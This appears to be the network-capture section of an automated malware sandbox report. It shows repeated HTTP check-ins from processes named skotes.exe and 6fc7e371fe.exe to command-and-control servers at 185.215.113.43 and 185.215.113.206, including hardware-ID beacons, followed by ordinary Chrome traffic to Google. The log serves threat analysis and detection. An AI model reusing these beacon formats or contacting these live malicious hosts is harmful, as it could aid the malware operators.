18	192.168.2.5	54800	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 06:24:40.906914949 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 12, 2024 06:24:41.843352079 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 05:24:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	54801	185.215.113.206	80	2408	C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 06:24:41.090671062 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 06:24:41.979851961 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:24:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 06:24:41.983603954 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKKFCFBKFCFBFIDGCGDH Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 30 30 45 43 33 35 30 44 46 31 46 31 36 32 32 33 37 39 37 30 33 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 2d 2d 0d 0a Data Ascii: ------BKKFCFBKFCFBFIDGCGDHContent-Disposition: form-data; name="hwid"A00EC350DF1F1622379703------BKKFCFBKFCFBFIDGCGDHContent-Disposition: form-data; name="build"mars------BKKFCFBKFCFBFIDGCGDH--
Nov 12, 2024 06:24:42.259243965 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:24:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	54802	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 06:24:43.462971926 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 06:24:44.368048906 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 05:24:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	54803	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 06:24:45.882817984 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 12, 2024 06:24:46.788975000 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 05:24:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	54804	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 06:24:48.584079027 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 06:24:49.572706938 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 05:24:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 06:24:49.776556969 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 05:24:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	54805	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 06:24:51.105341911 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 12, 2024 06:24:52.017363071 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 05:24:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	54806	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 06:24:53.822329044 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 06:24:54.733849049 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 05:24:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	54807	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 06:24:56.243212938 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 12, 2024 06:24:57.181349993 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 05:24:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	54808	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 06:24:58.805145979 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 06:24:59.722891092 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 05:24:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	54809	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 06:25:01.234225035 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 12, 2024 06:25:02.129172087 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 05:25:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	54810	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 06:25:04.620927095 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 06:25:05.548791885 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 05:25:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	142.250.185.100	443	7224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:13 UTC	615	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 05:23:13 UTC	1266	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:13 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-ObOtczLWv18iT4sRhoS8KA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-12 05:23:13 UTC	112	IN	Data Raw: 66 35 63 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6d 61 74 74 65 6c 20 77 69 63 6b 65 64 20 64 6f 6c 6c 73 20 70 61 63 6b 61 67 69 6e 67 22 2c 22 6e 68 6c 20 70 72 65 64 69 63 74 69 6f 6e 73 22 2c 22 6f 76 65 72 77 61 74 63 68 20 63 6c 61 73 73 69 63 20 68 65 72 6f 65 73 22 2c 22 63 6f 73 74 63 6f 20 62 75 74 74 65 72 20 72 65 63 61 6c Data Ascii: f5c)]}'["",["mattel wicked dolls packaging","nhl predictions","overwatch classic heroes","costco butter recal
2024-11-12 05:23:13 UTC	1378	IN	Data Raw: 6c 65 64 22 2c 22 61 75 72 6f 72 61 20 62 6f 72 65 61 6c 69 73 20 6e 6f 72 74 68 65 72 6e 20 6c 69 67 68 74 73 20 66 6f 72 65 63 61 73 74 22 2c 22 66 72 65 73 6e 6f 20 77 65 61 74 68 65 72 20 64 75 73 74 20 73 74 6f 72 6d 22 2c 22 62 61 74 6d 61 6e 20 74 68 65 20 70 65 6e 67 75 69 6e 20 66 69 6e 61 6c 65 22 2c 22 63 6f 6c 6f 72 61 64 6f 20 61 76 61 6c 61 6e 63 68 65 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f Data Ascii: led","aurora borealis northern lights forecast","fresno weather dust storm","batman the penguin finale","colorado avalanche"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNo
2024-11-12 05:23:13 UTC	1378	IN	Data Raw: 59 61 58 67 76 64 56 42 59 61 6e 63 77 51 55 64 74 61 55 4e 43 59 6b 4e 49 54 6d 6b 34 52 47 74 5a 51 6d 78 59 64 32 4e 4d 52 54 52 59 51 6a 46 4b 4d 48 52 48 4d 45 67 35 63 45 5a 76 62 55 4e 6c 64 33 68 56 53 58 49 7a 65 6b 74 73 4f 47 70 72 63 7a 6c 46 4f 53 39 59 51 6a 56 4b 54 47 52 68 63 6d 55 30 65 55 5a 70 53 48 70 33 57 45 4a 7a 61 54 59 34 64 79 74 50 51 32 6f 33 51 6c 56 6c 4f 54 5a 6c 63 69 73 32 64 57 70 69 63 58 52 68 4d 47 70 34 52 47 31 36 4f 56 5a 48 65 6b 31 4a 59 6b 67 7a 55 56 64 52 53 6a 56 43 5a 55 6f 30 4f 57 46 4e 61 33 52 36 57 6b 78 54 63 54 4e 30 64 6d 5a 58 59 33 41 7a 62 32 63 72 53 44 56 4d 53 45 56 7a 63 6b 4a 75 4d 44 68 48 52 47 4a 44 56 33 6b 78 4e 55 5a 55 5a 6b 77 77 64 6b 46 76 51 31 70 35 4f 45 6f 35 64 32 39 6c 61 30 Data Ascii: YaXgvdVBYancwQUdtaUNCYkNITmk4RGtZQmxYd2NMRTRYQjFKMHRHMEg5cEZvbUNld3hVSXIzektsOGprczlFOS9YQjVKTGRhcmU0eUZpSHp3WEJzaTY4dytPQ2o3QlVlOTZlcis2dWpicXRhMGp4RG16OVZHek1JYkgzUVdRSjVCZUo0OWFNa3R6WkxTcTN0dmZXY3Azb2crSDVMSEVzckJuMDhHRGJDV3kxNUZUZkwwdkFvQ1p5OEo5d29la0
2024-11-12 05:23:13 UTC	1071	IN	Data Raw: 55 78 74 57 6d 56 4a 63 6d 6c 47 57 57 30 31 59 31 52 45 56 55 5a 4b 4d 6b 39 53 4e 45 63 72 4d 6d 39 69 65 47 6c 43 4e 58 51 34 51 6b 4e 4c 54 47 74 71 4f 45 46 6a 57 6d 56 4a 4f 54 68 46 52 79 39 4a 4f 47 35 68 5a 32 6c 58 65 47 6c 4d 64 6b 70 4b 57 47 31 71 61 32 45 78 65 45 68 61 52 58 64 72 56 47 39 45 52 45 70 42 64 48 4a 71 65 47 46 52 4c 32 35 52 4e 48 63 30 61 6a 41 33 5a 45 46 6f 65 44 64 5a 53 55 64 33 65 6b 78 36 4e 48 70 6f 54 7a 51 35 5a 32 5a 73 51 57 64 6f 63 6b 5a 59 52 6a 64 50 57 56 4a 36 65 56 4d 77 63 6b 4a 4e 4d 56 70 50 62 57 38 77 65 46 6c 51 65 46 68 6e 62 56 52 36 54 55 77 77 4e 6c 42 78 54 54 59 79 53 6b 67 79 59 31 52 53 56 56 4e 4c 4e 58 6c 75 63 31 70 56 51 6d 35 72 56 32 70 57 4b 31 6f 34 65 6b 74 50 4b 7a 42 49 59 57 6c 57 Data Ascii: UxtWmVJcmlGWW01Y1REVUZKMk9SNEcrMm9ieGlCNXQ4QkNLTGtqOEFjWmVJOThFRy9JOG5hZ2lXeGlMdkpKWG1qa2ExeEhaRXdrVG9EREpBdHJqeGFRL25RNHc0ajA3ZEFoeDdZSUd3ekx6NHpoTzQ5Z2ZsQWdockZYRjdPWVJ6eVMwckJNMVpPbW8weFlQeFhnbVR6TUwwNlBxTTYySkgyY1RSVVNLNXluc1pVQm5rV2pWK1o4ektPKzBIYWlW
2024-11-12 05:23:13 UTC	134	IN	Data Raw: 38 30 0d 0a 5c 75 30 30 33 64 5c 75 30 30 33 64 22 2c 22 7a 6c 22 3a 31 30 30 30 32 7d 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 72 65 6c 65 76 61 6e 63 65 22 3a 5b 31 32 35 37 2c 31 32 35 36 2c 31 32 35 35 2c 31 32 35 34 2c 31 32 35 33 2c 31 32 35 32 2c 31 32 35 31 2c 31 32 35 30 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 73 75 62 74 79 70 65 73 22 3a 5b 5b 33 2c 31 34 33 2c 0d 0a Data Ascii: 80\u003d\u003d","zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,
2024-11-12 05:23:13 UTC	185	IN	Data Raw: 62 33 0d 0a 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 74 79 70 65 22 3a 5b 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 45 4e 54 49 54 59 22 5d 7d 5d 0d 0a Data Ascii: b3362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","ENTITY"]}]
2024-11-12 05:23:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49711	142.250.185.100	443	7224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:13 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49710	142.250.185.100	443	7224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:13 UTC	518	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 05:23:13 UTC	1042	IN	HTTP/1.1 200 OK Version: 693618659 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 12 Nov 2024 05:23:13 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-12 05:23:13 UTC	336	IN	Data Raw: 32 38 62 63 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 